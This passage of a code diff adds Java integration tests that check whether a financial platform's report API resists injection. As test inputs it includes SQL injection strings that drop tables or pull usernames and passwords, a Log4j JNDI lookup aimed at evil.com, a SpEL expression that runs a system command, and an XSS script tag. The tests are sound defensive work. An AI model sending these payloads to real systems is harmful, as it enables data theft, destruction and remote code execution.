+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ // These should be rejected and result in 404 (report not found) or
validation error
+ AssertionError exception = assertThrows(AssertionError.class, () -> {
+ Utils.performServerGet(requestSpec, responseSpec,
+ "/runreports/TestReport?reportType=" + invalidType +
"&genericResultSet=false&" + toQueryString(queryParams), null);
+ });
+
+ // Should get 404 or validation error, not SQL execution error
+ assertTrue(exception.getMessage().contains("404") ||
exception.getMessage().contains("validation"));
+ assertFalse(exception.getMessage().toLowerCase().contains("sql
syntax"));
+ }
+
+ /**
+ * UC5: Test database-specific escaping through API behavior for
MySQL/MariaDB
+ */
+ @Test
+ void uc5_testMySQLEscapingThroughAPI() {
+ log.info("Testing MySQL/MariaDB escaping behavior through API");
+
+ // Test MySQL special characters in parameters
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1' OR '1'='1");
+ queryParams.put("R_clientId", "1; DROP TABLE m_client;");
+ queryParams.put("R_startDate", "2023-01-01\\' OR 1=1 --");
+
+ // Use the real test report to ensure SQL injection prevention works
with actual queries
+ try {
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(queryParams),
+ null);
+
+ // If successful, the special characters were safely escaped
+ assertNotNull(response);
+ log.info("MySQL/MariaDB special characters safely escaped");
+ } catch (AssertionError e) {
+ // Should not get SQL syntax errors - only validation errors
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
+ "Should not get SQL syntax error for MySQL escaping test.
Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error. Got: " + e.getMessage());
+
+ log.info("MySQL/MariaDB escaping prevented SQL injection with
validation error");
+ }
+ }
+
+ /**
+ * UC6: Test database-specific escaping through API for PostgreSQL
+ */
+ @Test
+ void uc6_testPostgreSQLEscapingThroughAPI() {
+ log.info("Testing PostgreSQL escaping behavior through API");
+
+ // Test PostgreSQL-specific SQL injection patterns
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1'::text OR '1'='1");
+ queryParams.put("R_clientId", "1; DROP TABLE m_client CASCADE;");
+ queryParams.put("R_startDate", "2023-01-01'::date OR TRUE --");
+ queryParams.put("R_endDate", "$$; DROP TABLE m_client; $$");
+
+ // Use the real test report to ensure SQL injection prevention works
+ try {
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(queryParams),
+ null);
+
+ // If successful, the PostgreSQL special syntax was safely escaped
+ assertNotNull(response);
+ log.info("PostgreSQL special characters and syntax safely
escaped");
+ } catch (AssertionError e) {
+ // Should not get SQL syntax errors - only validation errors
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
+ "Should not get SQL syntax error for PostgreSQL escaping
test. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("error") &&
e.getMessage().toLowerCase().contains("position"),
+ "Should not get PostgreSQL position error. Got: " +
e.getMessage());
+
+ log.info("PostgreSQL escaping prevented SQL injection with
validation error");
+ }
+ }
+
+ /**
+ * UC7: Test concurrent access to ensure thread safety through API
+ */
+ @Test
+ void uc7_testConcurrentAccess() throws InterruptedException,
ExecutionException {
+ log.info("Testing concurrent access to SQL injection prevention
through API");
+
+ int threadCount = 5;
+ int operationsPerThread = 3;
+ ExecutorService executor = Executors.newFixedThreadPool(threadCount);
+
+ List<Future<Boolean>> futures = new java.util.ArrayList<>();
+
+ for (int i = 0; i < threadCount; i++) {
+ final int threadId = i;
+ Future<Boolean> future = executor.submit(new Callable<Boolean>() {
+
+ @Override
+ public Boolean call() {
+ try {
+ for (int j = 0; j < operationsPerThread; j++) {
+ String input = "test-input-" + threadId + "-" + j;
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" +
URLEncoder.encode(input, StandardCharsets.UTF_8)
+ + "?genericResultSet=false&" +
toQueryString(queryParams),
+ null);
+ }
+ return true;
+ } catch (AssertionError e) {
+ // 404 is expected for non-existent reports
+ return e.getMessage().contains("404");
+ } catch (Exception e) {
+ log.error("Error in thread {}: {}", threadId,
e.getMessage());
+ return false;
+ }
+ }
+ });
+ futures.add(future);
+ }
+
+ executor.shutdown();
+ assertTrue(executor.awaitTermination(60, TimeUnit.SECONDS), "All
threads should complete within 60 seconds");
+
+ for (Future<Boolean> future : futures) {
+ assertTrue(future.get(), "All concurrent operations should succeed
or return 404");
+ }
+
+ log.info("Concurrent access test completed successfully with {}
threads and {} operations per thread", threadCount,
+ operationsPerThread);
+ }
+
+ /**
+ * UC8: Test report parameter injection with complex nested structures
+ */
+ @Test
+ void uc8_testComplexParameterInjection() {
+ log.info("Testing complex parameter injection scenarios");
+
+ // Test various parameter injection patterns that were historically
problematic
+ Map<String, String> maliciousParams = new HashMap<>();
+ maliciousParams.put("R_officeId", "1) UNION SELECT username,password
FROM m_appuser WHERE id=1--");
+ maliciousParams.put("R_clientId", "${jndi:ldap://evil.com/a}";); //
Log4j style injection
+ maliciousParams.put("R_startDate", "'; DROP TABLE IF EXISTS test; --");
+ maliciousParams.put("R_endDate",
"#{T(java.lang.Runtime).getRuntime().exec('whoami')}"); // SpEL injection
+ maliciousParams.put("R_userId", "<script>alert('xss')</script>"); //
XSS attempt in parameter
+
+ try {
+ Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ + "?genericResultSet=false&" +
toQueryString(maliciousParams), null);
+ // If we get here without exception, the response should be safe
+ log.info("Complex parameter injection prevented - query executed
safely");
+ } catch (AssertionError e) {
+ // Should get parameter validation error, not SQL injection
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error. Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("table") &&
e.getMessage().toLowerCase().contains("exist"),
+ "Should not get table exists error. Got: " +
e.getMessage());
+ }
+ }
+
+ /**
+ * UC9: Test legitimate reports with various parameter types
+ */
+ @ParameterizedTest(name = "Parameter Type: {0}")
+ @CsvSource(delimiterString = " | ", value = { "R_officeId | 1 | Numeric
parameter", "R_startDate | 2023-01-01 | Date parameter",
+ "R_endDate | 2023-12-31 | Date parameter", "R_currencyId | USD |
String parameter", "R_loanProductId | 1 | Numeric parameter" })
+ void uc9_testLegitimateParameterTypes(String paramName, String paramValue,
String description) {
+ log.info("Testing legitimate parameter: {} = {} ({})", paramName,
paramValue, description);
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put(paramName, paramValue);
+
+ try {
+ String response = Utils.performServerGet(requestSpec, responseSpec,
+ "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
+ "?genericResultSet=false&" + toQueryString(queryParams),
+ null);
+
+ // Valid parameters should return data successfully
+ assertNotNull(response);
+
+ // Should not contain SQL error indicators
+ assertFalse(response.toLowerCase().contains("syntax error"));
+ assertFalse(response.toLowerCase().contains("sql exception"));
+
+ log.debug("Legitimate parameter '{}' = '{}' processed
successfully", paramName, paramValue);
+ } catch (AssertionError e) {
+ // For legitimate parameters, we should not get errors unless it's
a data issue
+ // But definitely not SQL syntax errors
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
+ "Should not get SQL syntax error for legitimate parameter.
Got: " + e.getMessage());
+ assertFalse(e.getMessage().toLowerCase().contains("you have an
error in your sql"),
+ "Should not get SQL error for legitimate parameter. Got: "
+ e.getMessage());
+
+ log.info("Parameter validation for '{}' = '{}': {}", paramName,
paramValue, e.getMessage());
+ }
+ }
+
+ /**
+ * UC10: Test cross-database compatibility through API
+ */
+ @Test
+ void uc10_testCrossDatabaseCompatibility() {
+ log.info("Testing cross-database compatibility for SQL injection
prevention through API");
+
+ String testInput = "test-input-with-special-chars";
+
+ Map<String, String> queryParams = new HashMap<>();
+ queryParams.put("R_officeId", "1");
+
+ try {
+ Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/"
+ + URLEncoder.encode(testInput, StandardCharsets.UTF_8) +
"?genericResultSet=false&" + toQueryString(queryParams), null);
+ } catch (AssertionError e) {
+ // Should get 404 (report not found) not database-specific errors
+ assertTrue(e.getMessage().contains("404"));
+ assertFalse(e.getMessage().toLowerCase().contains("syntax error"));
+ assertFalse(e.getMessage().toLowerCase().contains("sql"));
+
+ log.info("Cross-database compatibility test passed - got expected
404 response");
+ }
+ }
+
+ /**
+ * Helper method to convert parameters map to query string
+ */
+ private String toQueryString(Map<String, String> params) {
+ StringBuilder sb = new StringBuilder();
+ for (Map.Entry<String, String> entry : params.entrySet()) {
+ if (sb.length() > 0) {
+ sb.append("&");
+ }
+ sb.append(entry.getKey()).append("=");
+ if (entry.getValue() != null) {
+ sb.append(URLEncoder.encode(entry.getValue(),
StandardCharsets.UTF_8));
+ }
+ }
+ return sb.toString();
+ }
+}
